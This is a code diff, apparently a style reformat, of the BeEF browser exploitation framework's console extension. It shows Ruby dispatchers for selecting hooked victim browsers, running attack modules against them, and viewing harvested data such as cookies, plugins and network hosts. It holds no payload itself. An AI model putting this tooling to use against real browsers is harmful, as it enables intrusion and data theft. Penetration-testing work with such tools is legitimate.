include Rex::Ui::Text::DispatcherShell::CommandDispatcher
module CommandDispatcher
include Rex::Ui::Text::DispatcherShell::CommandDispatcher
def initialize(driver)
super
self.driver = driver
def initialize(driver)
super
self.driver = driver
end
attr_accessor :driver
end
end
end
attr_accessor :driver
end
end end end
require 'extensions/console/lib/command_dispatcher/core'
require 'extensions/console/lib/command_dispatcher/target'
require 'extensions/console/lib/command_dispatcher/command'
require 'extensions/console/lib/command_dispatcher/command'

View File

@@ -4,193 +4,197 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Console
module CommandDispatcher
class Command
include BeEF::Extension::Console::CommandDispatcher
module Extension
module Console
module CommandDispatcher
class Command
include BeEF::Extension::Console::CommandDispatcher
@@params = []
def initialize(driver)
super
begin
driver.interface.cmd['Data'].each{|data|
@@params << data['name']
}
rescue
return
end
end
def commands
{
"execute" => "Go! Execute the command module",
"param" => "Set parameters for this module",
"response" => "Get previous responses to this command module",
"cmdinfo" => "See information about this particular command module"
}
end
def name
"Command"
end
@@bare_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help." ])
def cmd_cmdinfo(*args)
@@bare_opts.parse(args) {|opt, idx, val|
case opt
when "-h"
cmd_cmdinfo_help
return false
end
}
print_line("Module name: " + driver.interface.cmd['Name'])
print_line("Module category: " + driver.interface.cmd['Category'].to_s)
print_line("Module description: " + driver.interface.cmd['Description'])
print_line("Module parameters:") if not driver.interface.cmd['Data'].length == 0
@@params = []
driver.interface.cmd['Data'].each{|data|
if data['type'].eql?("combobox")
print_line(data['name'] + " => \"" + data['value'].to_s + "\" # " + data['ui_label'] + " (Options include: " + data['store_data'].to_s + ")")
else
print_line(data['name'] + " => \"" + data['value'].to_s + "\" # " + data['ui_label'])
end
} if not driver.interface.cmd['Data'].nil?
end
def cmd_cmdinfo_help(*args)
print_status("Displays information about the current command module")
end
def cmd_param(*args)
@@bare_opts.parse(args) {|opt, idx, val|
case opt
when "-h"
cmd_param_help
return false
end
}
if (args[0] == nil || args[1] == nil)
cmd_param_help
return
else
p = ""
(1..args.length-1).each do |x|
p << args[x] << " "
end
p.chop!
driver.interface.setparam(args[0],p)
end
end
def cmd_param_help(*args)
print_status("Sets parameters for the current modules. Run \"cmdinfo\" to see the parameter values")
print_status(" Usage: param <paramname> <paramvalue>")
end
def initialize(driver)
super
begin
driver.interface.cmd['Data'].each do |data|
@@params << data['name']
end
rescue StandardError
nil
end
end
def cmd_param_tabs(str,words)
return if words.length > 1
def commands
{
'execute' => 'Go! Execute the command module',
'param' => 'Set parameters for this module',
'response' => 'Get previous responses to this command module',
'cmdinfo' => 'See information about this particular command module'
}
end
if @@params == ""
#nothing prepopulated?
else
return @@params
end
end
def cmd_execute(*args)
@@bare_opts.parse(args) {|opt, idx, val|
case opt
when "-h"
cmd_execute_help
return false
end
}
if driver.interface.executecommand == true
print_status("Command successfully queued")
else
print_status("Something went wrong")
end
end
def cmd_execute_help(*args)
print_status("Execute this module... go on!")
end
def cmd_response(*args)
@@bare_opts.parse(args) {|opt, idx, val|
case opt
when "-h"
cmd_response_help
return false
end
}
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
[
'Id',
'Executed Time',
'Response Time'
])
def name
'Command'
end
if args[0] == nil
lastcmdid = nil
driver.interface.getcommandresponses.each do |resp|
indiresp = driver.interface.getindividualresponse(resp['object_id'])
respout = ""
if indiresp.nil? or indiresp[0].nil?
respout = "No response yet"
else
respout = Time.at(indiresp[0]['date'].to_i).to_s
lastcmdid = resp['object_id']
end
tbl << [resp['object_id'].to_s, resp['creationdate'], respout]
end
puts "\n"
puts "List of responses for this command module:\n"
puts tbl.to_s + "\n"
@@bare_opts = Rex::Parser::Arguments.new(
'-h' => [false, 'Help.']
)
if not lastcmdid.nil?
resp = driver.interface.getindividualresponse(lastcmdid)
puts "\n"
print_line("The last response [" + lastcmdid.to_s + "] was retrieved: " + Time.at(resp[0]['date'].to_i).to_s)
print_line("Response:")
resp.each do |op|
print_line(op['data']['data'].to_s)
end
end
else
output = driver.interface.getindividualresponse(args[0])
if output.nil?
print_line("Invalid response ID")
elsif output[0].nil?
print_line("No response yet from the hooked browser or perhaps an invalid response ID")
else
print_line("Results retrieved: " + Time.at(output[0]['date'].to_i).to_s)
print_line("")
print_line("Response:")
output.each do |op|
print_line(op['data']['data'].to_s)
def cmd_cmdinfo(*args)
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
cmd_cmdinfo_help
return false
end
end
print_line('Module name: ' + driver.interface.cmd['Name'])
print_line('Module category: ' + driver.interface.cmd['Category'].to_s)
print_line('Module description: ' + driver.interface.cmd['Description'])
print_line('Module parameters:') unless driver.interface.cmd['Data'].length == 0
unless driver.interface.cmd['Data'].nil?
driver.interface.cmd['Data'].each do |data|
if data['type'].eql?('combobox')
print_line(data['name'] + ' => "' + data['value'].to_s + '" # ' + data['ui_label'] + ' (Options include: ' + data['store_data'].to_s + ')')
else
print_line(data['name'] + ' => "' + data['value'].to_s + '" # ' + data['ui_label'])
end
end
end
end
def cmd_cmdinfo_help(*_args)
print_status('Displays information about the current command module')
end
def cmd_param(*args)
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
cmd_param_help
return false
end
end
if args[0].nil? || args[1].nil?
cmd_param_help
nil
else
p = ''
(1..args.length - 1).each do |x|
p << args[x] << ' '
end
p.chop!
driver.interface.setparam(args[0], p)
end
end
def cmd_param_help(*_args)
print_status('Sets parameters for the current modules. Run "cmdinfo" to see the parameter values')
print_status(' Usage: param <paramname> <paramvalue>')
end
def cmd_param_tabs(_str, words)
return if words.length > 1
if @@params == ''
# nothing prepopulated?
else
@@params
end
end
def cmd_execute(*args)
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
cmd_execute_help
return false
end
end
if driver.interface.executecommand == true
print_status('Command successfully queued')
else
print_status('Something went wrong')
end
end
def cmd_execute_help(*_args)
print_status('Execute this module... go on!')
end
def cmd_response(*args)
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
cmd_response_help
return false
end
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
[
'Id',
'Executed Time',
'Response Time'
]
)
if args[0].nil?
lastcmdid = nil
driver.interface.getcommandresponses.each do |resp|
indiresp = driver.interface.getindividualresponse(resp['object_id'])
respout = ''
if indiresp.nil? or indiresp[0].nil?
respout = 'No response yet'
else
respout = Time.at(indiresp[0]['date'].to_i).to_s
lastcmdid = resp['object_id']
end
tbl << [resp['object_id'].to_s, resp['creationdate'], respout]
end
puts "\n"
puts "List of responses for this command module:\n"
puts tbl.to_s + "\n"
unless lastcmdid.nil?
resp = driver.interface.getindividualresponse(lastcmdid)
puts "\n"
print_line('The last response [' + lastcmdid.to_s + '] was retrieved: ' + Time.at(resp[0]['date'].to_i).to_s)
print_line('Response:')
resp.each do |op|
print_line(op['data']['data'].to_s)
end
end
else
output = driver.interface.getindividualresponse(args[0])
if output.nil?
print_line('Invalid response ID')
elsif output[0].nil?
print_line('No response yet from the hooked browser or perhaps an invalid response ID')
else
print_line('Results retrieved: ' + Time.at(output[0]['date'].to_i).to_s)
print_line('')
print_line('Response:')
output.each do |op|
print_line(op['data']['data'].to_s)
end
end
end
end
def cmd_response_help(*_args)
print_status('List and review particular responses to this command')
print_status(' Usage: response (id)')
print_status(" If you omit id you'll see a list of all responses for the currently active command module")
end
end
end
end
end
def cmd_response_help(*args)
print_status("List and review particular responses to this command")
print_status(" Usage: response (id)")
print_status(" If you omit id you'll see a list of all responses for the currently active command module")
end
end
end end end end

File diff suppressed because it is too large Load Diff

View File

@@ -4,288 +4,282 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Console
module CommandDispatcher
class Target
include BeEF::Extension::Console::CommandDispatcher
@@commands = []
def initialize(driver)
super
begin
driver.interface.getcommands.each { |folder|
folder['children'].each { |command|
@@commands << folder['text'].gsub(/\s/,"_") + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
}
}
rescue
return
end
end
def commands
{
"commands" => "List available commands against this particular target",
"info" => "Info about the target",
"select" => "Prepare the command module for execution against this target",
"hosts" => "List identified network hosts",
"services" => "List identified network services"
}
end
def name
"Target"
end
@@bare_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help." ])
module Extension
module Console
module CommandDispatcher
class Target
include BeEF::Extension::Console::CommandDispatcher
@@commands_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help."],
"-s" => [ false, "<search term>"],
"-r" => [ false, "List modules which have responses against them only"])
def cmd_commands(*args)
@@commands = []
searchstring = nil
responly = nil
@@commands_opts.parse(args) {|opt, idx, val|
case opt
when "-h"
cmd_commands_help
return false
when "-s"
searchstring = args[1].downcase if not args[1].nil?
when "-r"
responly = true
end
}
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
[
'Id',
'Command',
'Status',
'Execute Count'
])
driver.interface.getcommands.each { |folder|
folder['children'].each { |command|
cmdstring = folder['text'].gsub(/\s/,"_") + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
if not searchstring.nil?
if not cmdstring.downcase.index(searchstring).nil?
tbl << [command['id'].to_i,
cmdstring,
command['status'].gsub(/^Verified /,""),
driver.interface.getcommandresponses(command['id']).length] #TODO
def initialize(driver)
super
begin
driver.interface.getcommands.each do |folder|
folder['children'].each do |command|
@@commands << (folder['text'].gsub(/\s/, '_') + command['text'].gsub(/[-()]/, '').gsub(/\W+/, '_'))
end
end
rescue StandardError
nil
end
end
elsif not responly.nil?
tbl << [command['id'].to_i,
cmdstring,
command['status'].gsub(/^Verified /,""),
driver.interface.getcommandresponses(command['id']).length] if driver.interface.getcommandresponses(command['id']).length.to_i > 0
else
tbl << [command['id'].to_i,
cmdstring,
command['status'].gsub(/^Verified /,""),
driver.interface.getcommandresponses(command['id']).length] #TODO
end
}
}
puts "\n"
puts "List command modules for this target\n"
puts tbl.to_s + "\n"
end
def cmd_commands_help(*args)
print_status("List command modules for this target")
print_line("Usage: commands [options]")
print_line
print @@commands_opts.usage()
end
def cmd_info(*args)
@@bare_opts.parse(args) {|opt, idx, val|
case opt
when "-h"
cmd_info_help
return false
end
}
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
[
'Param',
'Value'
])
driver.interface.select_zombie_summary['results'].each { |x|
x['data'].each { |k,v|
tbl << [k,v]
}
}
puts "\nHooked Browser Info:\n"
puts tbl.to_s + "\n"
end
def cmd_info_help(*args)
print_status("Display initialisation information about the hooked browser.")
end
def cmd_hosts(*args)
@@bare_opts.parse(args) {|opt, idx, val|
case opt
when "-h"
cmd_hosts_help
return false
end
}
configuration = BeEF::Core::Configuration.instance
if !configuration.get("beef.extension.network.enable")
print_error("Network extension is disabled")
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
[
'IP',
'Hostname',
'Type',
'Operating System',
'MAC Address',
'Last Seen'
])
driver.interface.select_network_hosts['results'].each do |x|
tbl << [x['ip'],x['hostname'],x['type'],x['os'],x['mac'],x['lastseen']]
end
puts "\nNetwork Hosts:\n\n"
puts tbl.to_s + "\n"
end
def cmd_hosts_help(*args)
print_status("Display information about network hosts on the hooked browser's network.")
end
def cmd_services(*args)
@@bare_opts.parse(args) {|opt, idx, val|
case opt
when "-h"
cmd_services_help
return false
end
}
configuration = BeEF::Core::Configuration.instance
if !configuration.get("beef.extension.network.enable")
print_error("Network extension is disabled")
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
[
'IP',
'Port',
'Protocol',
'Type'
])
driver.interface.select_network_services['results'].each do |x|
tbl << [x['ip'],x['port'],x['proto'],x['type']]
end
puts "\nNetwork Services:\n\n"
puts tbl.to_s + "\n"
end
def cmd_services_help(*args)
print_status("Display information about network services on the hooked browser's network.")
end
def cmd_select(*args)
@@bare_opts.parse(args) {|opt, idx, val|
case opt
when "-h"
cmd_select_help
return false
end
}
if args[0] == nil
cmd_select_help
return false
end
modid = nil
if args[0] =~ /[0-9]+/
modid = args[0]
else
driver.interface.getcommands.each { |x|
x['children'].each { |y|
if args[0].chomp == x['text'].gsub(/\s/,"_")+y['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
modid = y['id']
def commands
{
'commands' => 'List available commands against this particular target',
'info' => 'Info about the target',
'select' => 'Prepare the command module for execution against this target',
'hosts' => 'List identified network hosts',
'services' => 'List identified network services'
}
end
}
}
end
if modid.nil?
print_status("Could not find command module")
return false
end
driver.interface.setcommand(modid)
driver.enstack_dispatcher(Command) if driver.dispatched_enstacked(Command) == false
if driver.interface.targetid.length > 1
driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] / "+driver.interface.cmd['Name']+" ")
else
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] / "+driver.interface.cmd['Name']+" ")
end
end
def cmd_select_help(*args)
print_status("Select a command module to use against the current target")
print_status(" Usage: module <id> OR <modulename>")
end
def cmd_select_tabs(str,words)
return if words.length > 1
if @@commands == ""
#nothing prepopulated?
else
return @@commands
def name
'Target'
end
@@bare_opts = Rex::Parser::Arguments.new(
'-h' => [false, 'Help.']
)
@@commands_opts = Rex::Parser::Arguments.new(
'-h' => [false, 'Help.'],
'-s' => [false, '<search term>'],
'-r' => [false, 'List modules which have responses against them only']
)
def cmd_commands(*args)
searchstring = nil
responly = nil
@@commands_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
cmd_commands_help
return false
when '-s'
searchstring = args[1].downcase unless args[1].nil?
when '-r'
responly = true
end
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
[
'Id',
'Command',
'Status',
'Execute Count'
]
)
driver.interface.getcommands.each do |folder|
folder['children'].each do |command|
cmdstring = folder['text'].gsub(/\s/, '_') + command['text'].gsub(/[-()]/, '').gsub(/\W+/, '_')
if !searchstring.nil?
unless cmdstring.downcase.index(searchstring).nil?
tbl << [command['id'].to_i,
cmdstring,
command['status'].gsub(/^Verified /, ''),
driver.interface.getcommandresponses(command['id']).length] # TODO
end
elsif !responly.nil?
if driver.interface.getcommandresponses(command['id']).length.to_i > 0
tbl << [command['id'].to_i,
cmdstring,
command['status'].gsub(/^Verified /, ''),
driver.interface.getcommandresponses(command['id']).length]
end
else
tbl << [command['id'].to_i,
cmdstring,
command['status'].gsub(/^Verified /, ''),
driver.interface.getcommandresponses(command['id']).length] # TODO
end
end
end
puts "\n"
puts "List command modules for this target\n"
puts tbl.to_s + "\n"
end
def cmd_commands_help(*_args)
print_status('List command modules for this target')
print_line('Usage: commands [options]')
print_line
print @@commands_opts.usage
end
def cmd_info(*args)
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
cmd_info_help
return false
end
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
%w[
Param
Value
]
)
driver.interface.select_zombie_summary['results'].each do |x|
x['data'].each do |k, v|
tbl << [k, v]
end
end
puts "\nHooked Browser Info:\n"
puts tbl.to_s + "\n"
end
def cmd_info_help(*_args)
print_status('Display initialisation information about the hooked browser.')
end
def cmd_hosts(*args)
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
cmd_hosts_help
return false
end
end
configuration = BeEF::Core::Configuration.instance
unless configuration.get('beef.extension.network.enable')
print_error('Network extension is disabled')
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
[
'IP',
'Hostname',
'Type',
'Operating System',
'MAC Address',
'Last Seen'
]
)
driver.interface.select_network_hosts['results'].each do |x|
tbl << [x['ip'], x['hostname'], x['type'], x['os'], x['mac'], x['lastseen']]
end
puts "\nNetwork Hosts:\n\n"
puts tbl.to_s + "\n"
end
def cmd_hosts_help(*_args)
print_status("Display information about network hosts on the hooked browser's network.")
end
def cmd_services(*args)
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
cmd_services_help
return false
end
end
configuration = BeEF::Core::Configuration.instance
unless configuration.get('beef.extension.network.enable')
print_error('Network extension is disabled')
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
%w[
IP
Port
Protocol
Type
]
)
driver.interface.select_network_services['results'].each do |x|
tbl << [x['ip'], x['port'], x['proto'], x['type']]
end
puts "\nNetwork Services:\n\n"
puts tbl.to_s + "\n"
end
def cmd_services_help(*_args)
print_status("Display information about network services on the hooked browser's network.")
end
def cmd_select(*args)
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
cmd_select_help
return false
end
end
if args[0].nil?
cmd_select_help
return false
end
modid = nil
if args[0] =~ /[0-9]+/
modid = args[0]
else
driver.interface.getcommands.each do |x|
x['children'].each do |y|
modid = y['id'] if args[0].chomp == x['text'].gsub(/\s/, '_') + y['text'].gsub(/[-()]/, '').gsub(/\W+/, '_')
end
end
end
if modid.nil?
print_status('Could not find command module')
return false
end
driver.interface.setcommand(modid)
driver.enstack_dispatcher(Command) if driver.dispatched_enstacked(Command) == false
if driver.interface.targetid.length > 1
driver.update_prompt('(%bld%redMultiple%clr) [' + driver.interface.targetid.join(',') + '] / ' + driver.interface.cmd['Name'] + ' ')
else
driver.update_prompt('(%bld%red' + driver.interface.targetip + '%clr) [' + driver.interface.targetid.first.to_s + '] / ' + driver.interface.cmd['Name'] + ' ')
end
end
def cmd_select_help(*_args)
print_status('Select a command module to use against the current target')
print_status(' Usage: module <id> OR <modulename>')
end
def cmd_select_tabs(_str, words)
return if words.length > 1
if @@commands == ''
# nothing prepopulated?
else
@@commands
end
end
end
end
end
end
end
end end end end

View File

@@ -4,450 +4,429 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Console
module Extension
module Console
class ShellInterface
BD = BeEF::Core::Models::BrowserDetails
class ShellInterface
BD = BeEF::Core::Models::BrowserDetails
def initialize(config)
self.config = config
self.cmd = {}
end
def settarget(id)
begin
self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session
self.targetip = BeEF::Core::Models::HookedBrowser.find(id).ip
self.targetid = id
rescue
return nil
end
end
def setofflinetarget(id)
begin
self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session
self.targetip = "(OFFLINE) " + BeEF::Core::Models::HookedBrowser.find(id).ip
self.targetid = id
rescue
return nil
end
end
def cleartarget
self.targetsession = nil
self.targetip = nil
self.targetid = nil
self.cmd = {}
end
# @note Get commands. This is a *modified* replica of select_command_modules_tree from extensions/admin_ui/controllers/modules/modules.rb
def getcommands
return if self.targetid.nil?
tree = []
BeEF::Modules.get_categories.each { |c|
if c[-1,1] != "/"
c.concat("/")
end
tree.push({
'text' => c,
'cls' => 'folder',
'children' => []
})
}
BeEF::Modules.get_enabled.each{|k, mod|
flatcategory = ""
if mod['category'].kind_of?(Array)
# Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder.
mod['category'].each {|cat|
flatcategory << cat + "/"
}
else
flatcategory = mod['category']
if flatcategory[-1,1] != "/"
flatcategory.concat("/")
end
end
update_command_module_tree(tree, flatcategory, get_command_module_status(k), mod['name'],mod['db']['id'])
}
# if dynamic modules are found in the DB, then we don't have yaml config for them
# and loading must proceed in a different way.
dynamic_modules = BeEF::Core::Models::CommandModule.where('path LIKE ?', 'Dynamic/')
if(dynamic_modules != nil)
all_modules = BeEF::Core::Models::CommandModule.all.order(:id)
all_modules.each{|dyn_mod|
next if !dyn_mod.path.split('/').first.match(/^Dynamic/)
dyn_mod_name = dyn_mod.path.split('/').last
dyn_mod_category = nil
if(dyn_mod_name == "Msf")
dyn_mod_category = "Metasploit"
else
# future dynamic modules...
def initialize(config)
self.config = config
self.cmd = {}
end
#print_debug ("Loading Dynamic command module: category [#{dyn_mod_category}] - name [#{dyn_mod.name.to_s}]")
command_mod = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new
command_mod.session_id = hook_session_id
command_mod.update_info(dyn_mod.id)
command_mod_name = command_mod.info['Name'].downcase
update_command_module_tree(tree, dyn_mod_category, "Verified Unknown", command_mod_name,dyn_mod.id)
}
end
# sort the parent array nodes
tree.sort! {|a,b| a['text'] <=> b['text']}
# sort the children nodes by status
tree.each {|x| x['children'] =
x['children'].sort_by {|a| a['status']}
}
# append the number of command modules so the branch name results in: "<category name> (num)"
#tree.each {|command_module_branch|
# num_of_command_modules = command_module_branch['children'].length
# command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
#}
# return a JSON array of hashes
tree
end
def setcommand(id)
key = BeEF::Module.get_key_by_database_id(id.to_i)
self.cmd['id'] = id
self.cmd['Name'] = self.config.get("beef.module.#{key}.name")
self.cmd['Description'] = self.config.get("beef.module.#{key}.description")
self.cmd['Category'] = self.config.get("beef.module.#{key}.category")
self.cmd['Data'] = BeEF::Module.get_options(key)
end
def clearcommand
self.cmd = {}
end
def setparam(param,value)
self.cmd['Data'].each do |data|
if data['name'] == param
data['value'] = value
return
end
end
end
def getcommandresponses(cmdid = self.cmd['id'])
commands = []
i = 0
BeEF::Core::Models::Command.where(:command_module_id => cmdid, :hooked_browser_id => self.targetid).each do |command|
commands.push({
'id' => i,
'object_id' => command.id,
'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s,
'label' => command.label
})
i+=1
end
commands
end
def getindividualresponse(cmdid)
results = []
begin
BeEF::Core::Models::Result.where(:command_id => cmdid).each { |result|
results.push({'date' => result.date, 'data' => JSON.parse(result.data)})
}
rescue
return nil
end
results
end
def executecommand
definition = {}
options = {}
options.store("zombie_session", self.targetsession.to_s)
options.store("command_module_id", self.cmd['id'])
if not self.cmd['Data'].nil?
self.cmd['Data'].each do |key|
options.store("txt_"+key['name'].to_s,key['value'])
end
end
options.keys.each {|param|
definition[param[4..-1]] = options[param]
oc = BeEF::Core::Models::OptionCache.first_or_create(:name => param[4..-1])
oc.value = options[param]
oc.save
}
mod_key = BeEF::Module.get_key_by_database_id(self.cmd['id'])
# Hack to rework the old option system into the new option system
def2 = []
definition.each{|k,v|
def2.push({'name' => k, 'value' => v})
}
# End hack
if BeEF::Module.execute(mod_key, self.targetsession.to_s, def2) != nil
return true
else
return false
end
#Old method
#begin
# BeEF::Core::Models::Command.new( :data => definition.to_json,
# :hooked_browser_id => self.targetid,
# :command_module_id => self.cmd['id'],
# :creationdate => Time.new.to_i
# ).save
#rescue
# return false
#end
#return true
end
def update_command_module_tree(tree, cmd_category, cmd_status, cmd_name, cmd_id)
# construct leaf node for the command module tree
leaf_node = {
'text' => cmd_name,
'leaf' => true,
'status' => cmd_status,
'id' => cmd_id
}
# add the node to the branch in the command module tree
tree.each {|x|
if x['text'].eql? cmd_category
x['children'].push( leaf_node )
break
def settarget(id)
self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session
self.targetip = BeEF::Core::Models::HookedBrowser.find(id).ip
self.targetid = id
rescue StandardError
nil
end
}
end
def get_command_module_status(mod)
hook_session_id = self.targetsession
if hook_session_id == nil
return "Verified Unknown"
end
case BeEF::Module.support(mod, {
'browser' => BD.get(hook_session_id, 'BrowserName'),
'ver' => BD.get(hook_session_id, 'BrowserVersion'),
'os' => [BD.get(hook_session_id, 'OsName')]})
def setofflinetarget(id)
self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session
self.targetip = '(OFFLINE) ' + BeEF::Core::Models::HookedBrowser.find(id).ip
self.targetid = id
rescue StandardError
nil
end
when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
return "Verified Not Working"
when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY
return "Verified User Notify"
when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
return "Verified Working"
when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
return "Verified Unknown"
else
return "Verified Unknown"
end
end
def cleartarget
self.targetsession = nil
self.targetip = nil
self.targetid = nil
self.cmd = {}
end
# @note Returns a JSON array containing the summary for a selected zombie.
# Yoinked from the UI panel -
# we really need to centralise all this stuff and encapsulate it away.
def select_zombie_summary
# @note Get commands. This is a *modified* replica of select_command_modules_tree from extensions/admin_ui/controllers/modules/modules.rb
def getcommands
return if targetid.nil?
return if self.targetsession.nil?
tree = []
BeEF::Modules.get_categories.each do |c|
c.concat('/') if c[-1, 1] != '/'
tree.push({
'text' => c,
'cls' => 'folder',
'children' => []
})
end
# init the summary grid
summary_grid_hash = {
'success' => 'true',
'results' => []
}
BeEF::Modules.get_enabled.each do |k, mod|
flatcategory = ''
if mod['category'].is_a?(Array)
# Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder.
mod['category'].each do |cat|
flatcategory << (cat + '/')
end
else
flatcategory = mod['category']
flatcategory.concat('/') if flatcategory[-1, 1] != '/'
end
# zombie properties
# in the form of: category, UI label, value
zombie_properties = [
update_command_module_tree(tree, flatcategory, get_command_module_status(k), mod['name'], mod['db']['id'])
end
# Browser
['Browser', 'Browser Name', 'BrowserName'],
['Browser', 'Browser Version', 'BrowserVersion'],
['Browser', 'Browser UA String', 'BrowserReportedName'],
['Browser', 'Browser Language', 'BrowserLanguage'],
['Browser', 'Browser Platform', 'BrowserPlatform'],
['Browser', 'Browser Plugins', 'BrowserPlugins'],
['Browser', 'Window Size', 'WindowSize'],
# if dynamic modules are found in the DB, then we don't have yaml config for them
# and loading must proceed in a different way.
dynamic_modules = BeEF::Core::Models::CommandModule.where('path LIKE ?', 'Dynamic/')
# Browser Components
['Browser Components', 'Flash', 'HasFlash'],
['Browser Components', 'Java', 'JavaEnabled'],
['Browser Components', 'VBScript', 'VBScriptEnabled'],
['Browser Components', 'PhoneGap', 'HasPhonegap'],
['Browser Components', 'Google Gears', 'HasGoogleGears'],
['Browser Components', 'Web Sockets', 'HasWebSocket'],
['Browser Components', 'QuickTime', 'HasQuickTime'],
['Browser Components', 'RealPlayer', 'HasRealPlayer'],
['Browser Components', 'Windows Media Player','HasWMP'],
['Browser Components', 'VLC', 'HasVLC'],
['Browser Components', 'WebRTC', 'HasWebRTC'],
['Browser Components', 'ActiveX', 'HasActiveX'],
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
unless dynamic_modules.nil?
all_modules = BeEF::Core::Models::CommandModule.all.order(:id)
all_modules.each do |dyn_mod|
next unless dyn_mod.path.split('/').first.match(/^Dynamic/)
# Hooked Page
['Hooked Page', 'Page Title', 'PageTitle'],
['Hooked Page', 'Page URI', 'PageURI'],
['Hooked Page', 'Page Referrer', 'PageReferrer'],
['Hooked Page', 'Hook Host', 'HostName'],
['Hooked Page', 'Cookies', 'Cookies'],
dyn_mod_name = dyn_mod.path.split('/').last
dyn_mod_category = nil
if dyn_mod_name == 'Msf'
dyn_mod_category = 'Metasploit'
else
# future dynamic modules...
end
# Host
['Host', 'Date', 'DateStamp'],
['Host', 'Operating System', 'OsName'],
['Host', 'Hardware', 'Hardware'],
['Host', 'CPU', 'CPU'],
['Host', 'Default Browser', 'DefaultBrowser'],
['Host', 'Screen Size', 'ScreenSize'],
['Host', 'Touch Screen', 'TouchEnabled']
]
# print_debug ("Loading Dynamic command module: category [#{dyn_mod_category}] - name [#{dyn_mod.name.to_s}]")
command_mod = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new
command_mod.session_id = hook_session_id
command_mod.update_info(dyn_mod.id)
command_mod_name = command_mod.info['Name'].downcase
# set and add the return values for each browser property
# in the form of: category, UI label, value
zombie_properties.each do |p|
update_command_module_tree(tree, dyn_mod_category, 'Verified Unknown', command_mod_name, dyn_mod.id)
end
end
case p[2]
when "BrowserName"
data = BeEF::Core::Constants::Browsers.friendly_name(BD.get(self.targetsession.to_s, p[2])).to_s
# sort the parent array nodes
tree.sort! { |a, b| a['text'] <=> b['text'] }
when "ScreenSize"
screen_size_hash = JSON.parse(BD.get(self.targetsession.to_s, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON
width = screen_size_hash['width']
height = screen_size_hash['height']
cdepth = screen_size_hash['colordepth']
data = "Width: #{width}, Height: #{height}, Colour Depth: #{cdepth}"
# sort the children nodes by status
tree.each do |x|
x['children'] =
x['children'].sort_by { |a| a['status'] }
end
when "WindowSize"
window_size_hash = JSON.parse(BD.get(self.targetsession.to_s, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON
width = window_size_hash['width']
height = window_size_hash['height']
data = "Width: #{width}, Height: #{height}"
else
data = BD.get(self.targetsession, p[2])
end
# append the number of command modules so the branch name results in: "<category name> (num)"
# tree.each {|command_module_branch|
# num_of_command_modules = command_module_branch['children'].length
# command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
# }
# add property to summary hash
if not data.nil?
summary_grid_hash['results'].push({
'category' => p[0],
'data' => { p[1] => CGI.escapeHTML("#{data}") },
'from' => 'Initialization'
})
end
# return a JSON array of hashes
tree
end
end
def setcommand(id)
key = BeEF::Module.get_key_by_database_id(id.to_i)
summary_grid_hash
end
cmd['id'] = id
cmd['Name'] = config.get("beef.module.#{key}.name")
cmd['Description'] = config.get("beef.module.#{key}.description")
cmd['Category'] = config.get("beef.module.#{key}.category")
cmd['Data'] = BeEF::Module.get_options(key)
end
def select_network_hosts
def clearcommand
self.cmd = {}
end
return if self.targetsession.nil?
def setparam(param, value)
cmd['Data'].each do |data|
if data['name'] == param
data['value'] = value
return
end
end
end
configuration = BeEF::Core::Configuration.instance
if !configuration.get("beef.extension.network.enable")
print_error("Network extension is disabled")
return {
'success' => 'false',
'results' => []
}
end
def getcommandresponses(cmdid = cmd['id'])
commands = []
i = 0
# init the summary grid
summary_grid_hash = {
'success' => 'true',
'results' => []
}
@nh = BeEF::Core::Models::NetworkHost
hosts = @nh.where(:hooked_browser_id => self.targetsession)
